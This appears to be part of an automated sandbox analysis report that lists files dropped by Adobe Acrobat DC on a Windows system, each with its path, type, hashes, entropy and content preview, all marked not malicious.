Preview:	2025/01/10-13:05:01.929 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:05:01.930 ba0 Recovering log #3.2025/01/10-13:05:01.931 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4382401238782325
Encrypted:	false
SSDEEP:	384:ye+ci5GhiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pturVgazUpUTTGt
MD5:	C27E54D46BC0259525D72BC0D5785710
SHA1:	FF3CFA546F528E5C5D8FDB6857A9F86E191F3310
SHA-256:	08C92661AA4BB6C6CDDE1A9B18E01FEDCDC11E21EB3BE4AED4F2C69E62DE6930
SHA-512:	688841509FE8BE6B6528453C841C91B18549540E2EABC549F373C9FC9F75DAAFA10A8376EE76C2713416FD2459F340260C4D73C3D92F5033380CB11FCE15EB81
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765448208709303
Encrypted:	false
SSDEEP:	48:7MW2JioyVzioyXoy1C7oy16oy1pKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1s:7/2JuzxkXjBi9b9IVXEBodRBkO
MD5:	DF52422EF708F960C1ED25751C466883
SHA1:	11B7BE90568C2AC6054A195EDE8A59A9F2020CB7
SHA-256:	BA9E586F40EE00ACC392BEE04C2C3DD5123099BF73DB55546D65F4A17127D99C
SHA-512:	757CCE051C4144C5F090DFB1E0B0307CFF28444089CED4DB4C2738FD50AA283FF8A41EA31612CBFE8389DE696C869DD40B700E39F250DDA4C8810C61A98421B5
Malicious:	false
Preview:	.... .c.....y.w................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7503974515083134
Encrypted:	false
SSDEEP:	3:kkFklHstyPtfllXlE/HT8ke7llXNNX8RolJuRdxLlGB9lQRYwpDdt:kKz8eT8xl7NMa8RdWBwRd
MD5:	FC7F20714E10E63F4A449FA03108A989
SHA1:	5640C185FE22152653366D583AA34E391B96CCC4
SHA-256:	424888EA07E45EE59EE5D76B1EA2F9940A64D177648575BEF6613BE5A556B39E
SHA-512:	412B2AF26A91EE64F8108B45E1563EA37A2B4A8D5310DC571D1D8A4A7036355CCCAEE20BA6D8700DFF23E600BD90498E6ABE6538CB26B37EF93A0EEC25F20BA1
Malicious:	false
Preview:	p...... ........4.*0.c..(....................................................... ..........W....0...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.226999230143312
Encrypted:	false
SSDEEP:	6:kKnDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:biDImsLNkPlE99SNxAhUe/3
MD5:	B3DE9FFC2E1F1A03633B3A16B0E4C590
SHA1:	771F814CC3F94E356E92038A8AEA0B51C12D4F7D
SHA-256:	6F32329943A273795B08FA13E63D343398B622E05CE3F70ED65DCA3EDB1EE1BE
SHA-512:	E4F8D52ABA4561E97448D5B6C60E3496898BA7A06BA961D5CFCE220BCD791B1CAF920F5D9D4C723422C1F4234DA008936E099AA66A6AD844D20BD16E1A4C8FF2
Malicious:	false
Preview:	p...... ..........nB.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7872

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7872

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361459164749648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJM3g98kUwPeUkwRe9:YvXKXODmFAhT5LjIPzZGMbLUkee9
MD5:	95DD8D59D74F971506CBECA87B03C3C7
SHA1:	49F293121F31079B3776A94289072B46C641444E
SHA-256:	881C32DDBAEB8F81320CE4B62A2D8CF9BA0B04BA190909FCAAE966D11D96E7C1
SHA-512:	31227F05D5A0062A2F184E13ECBF296AC7A37544230921D734B03862CE9C0ED01C644C652DB744A4D872DC0247FFFC36E99228CB0B1C2F71F9E2E61C8D7FE042
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312335181738515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfBoTfXpnrPeUkwRe9:YvXKXODmFAhT5LjIPzZGWTfXcUkee9
MD5:	CF3220DB362E4CB684C640153E2CE432
SHA1:	FDD8D12C374DA57446D1347264BFADE8D8BAED25
SHA-256:	0A6B9ADFAC70214D727F621A3821BC5C7E03F3BA670BCBBFF0CACDC0E362B331
SHA-512:	F9795DAB81271C64078B6A01EE97ADECEB5D7B66C6FA58E0C982C7C0EF3B0548D95F476DB9E69B74BFBF65D4554D140726A139981141BEE32F4DEFE595D9A69B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291602975653185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfBD2G6UpnrPeUkwRe9:YvXKXODmFAhT5LjIPzZGR22cUkee9
MD5:	B1B178C729069AE209B2599BBC265FEB
SHA1:	B7FDB9EA44FE089EBD73B649D33D341B629E39EB
SHA-256:	A29E2EA093BFBD5447361D90EB3604F124F6DF48E0FA5B0E2F4BD97D8ED05F21
SHA-512:	5416F6AF8EE283F0E54476009D1719D61BCDAD464813BE8207DB88786EEAA7B81315CB1BA6DFDC181B3A27DCB835BC25835BD95FF9619E2842144DFD3D6C6D18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.342394382516546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfPmwrPeUkwRe9:YvXKXODmFAhT5LjIPzZGH56Ukee9
MD5:	B12263150E45411F5F717BFCF3469EBD
SHA1:	1B948BC9971DAB7971F8B10A79DDDB0B90DBEFB4
SHA-256:	B487BF1DC59AFC189B83DEE18F876F72AE829B7858067530862E3DC1662F61D4
SHA-512:	F99A84B3FEDCE055A0367A4691ED288DA9126D39C34B95D0EFE2D9B7BBD0F52B80C52273080F0D2DA0D3AD418BA00E052C22B966A21337AB717EFBE7FFCBC580
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694958036253552
Encrypted:	false
SSDEEP:	24:Yv6XQhT5XICpLgE9cQx8LennAvzBvkn0RCmK8czOCCSK1:YvVXXhgy6SAFv5Ah8cv/E
MD5:	4B21F5DB430D95DBE906EA2B3AFB0346
SHA1:	5668B11CA698EB6A4FEFBF966F5647ED553FD007
SHA-256:	86EF20CE5FB266BFC7364090DC68E98E162F63BD47AC45E0D3EF7C74A6748344
SHA-512:	23565247A8DA28DF4FFDE934EC5B72FDF1812E243CC26C78E416E8A7D0C2BD625174AA73F429FC3F6E8525D9AD2F873A1FA0E90C3BCA69B2560D9D9ABF1625B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314129685916937
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJf8dPeUkwRe9:YvXKXODmFAhT5LjIPzZGU8Ukee9
MD5:	C538BCA2D9A007C792F4AD7317BBE525
SHA1:	4DCA68FDCB2BB9978405BAD3E4BC8821340F708C
SHA-256:	496DDA0DC6D37F98304DDF6DEE75145EA0C0C2C108FA37C59FB5A8D7F12602B1
SHA-512:	BE8E3DE745C6854A8094F7D18B2C5CBDE7F74CA4F95BCF401D00268890F2677A4BFAE01DF127A2F482834444460D0974BAEA0A0ECE10462CCEA856414D5AEEC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305248744359943
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfQ1rPeUkwRe9:YvXKXODmFAhT5LjIPzZGY16Ukee9
MD5:	9DBD24FD78E2E9CD50D366C2FE8D5FC8
SHA1:	1A0A41CB9C78512B580FEC513712A15F8E0B87A0
SHA-256:	6DBA700F735949B8D8A0B7D40AF492E43ED2367BDCEED923374DC9D65E54D31E
SHA-512:	E20F92766B2C4147003CCF9E23E035C3E203D51DC44A3DA64400FFE32677E47B0F4B109B19FA19B3C245A9E4814BB358608DA2528079F33B0705142A754F8EDE
Malicious:	false
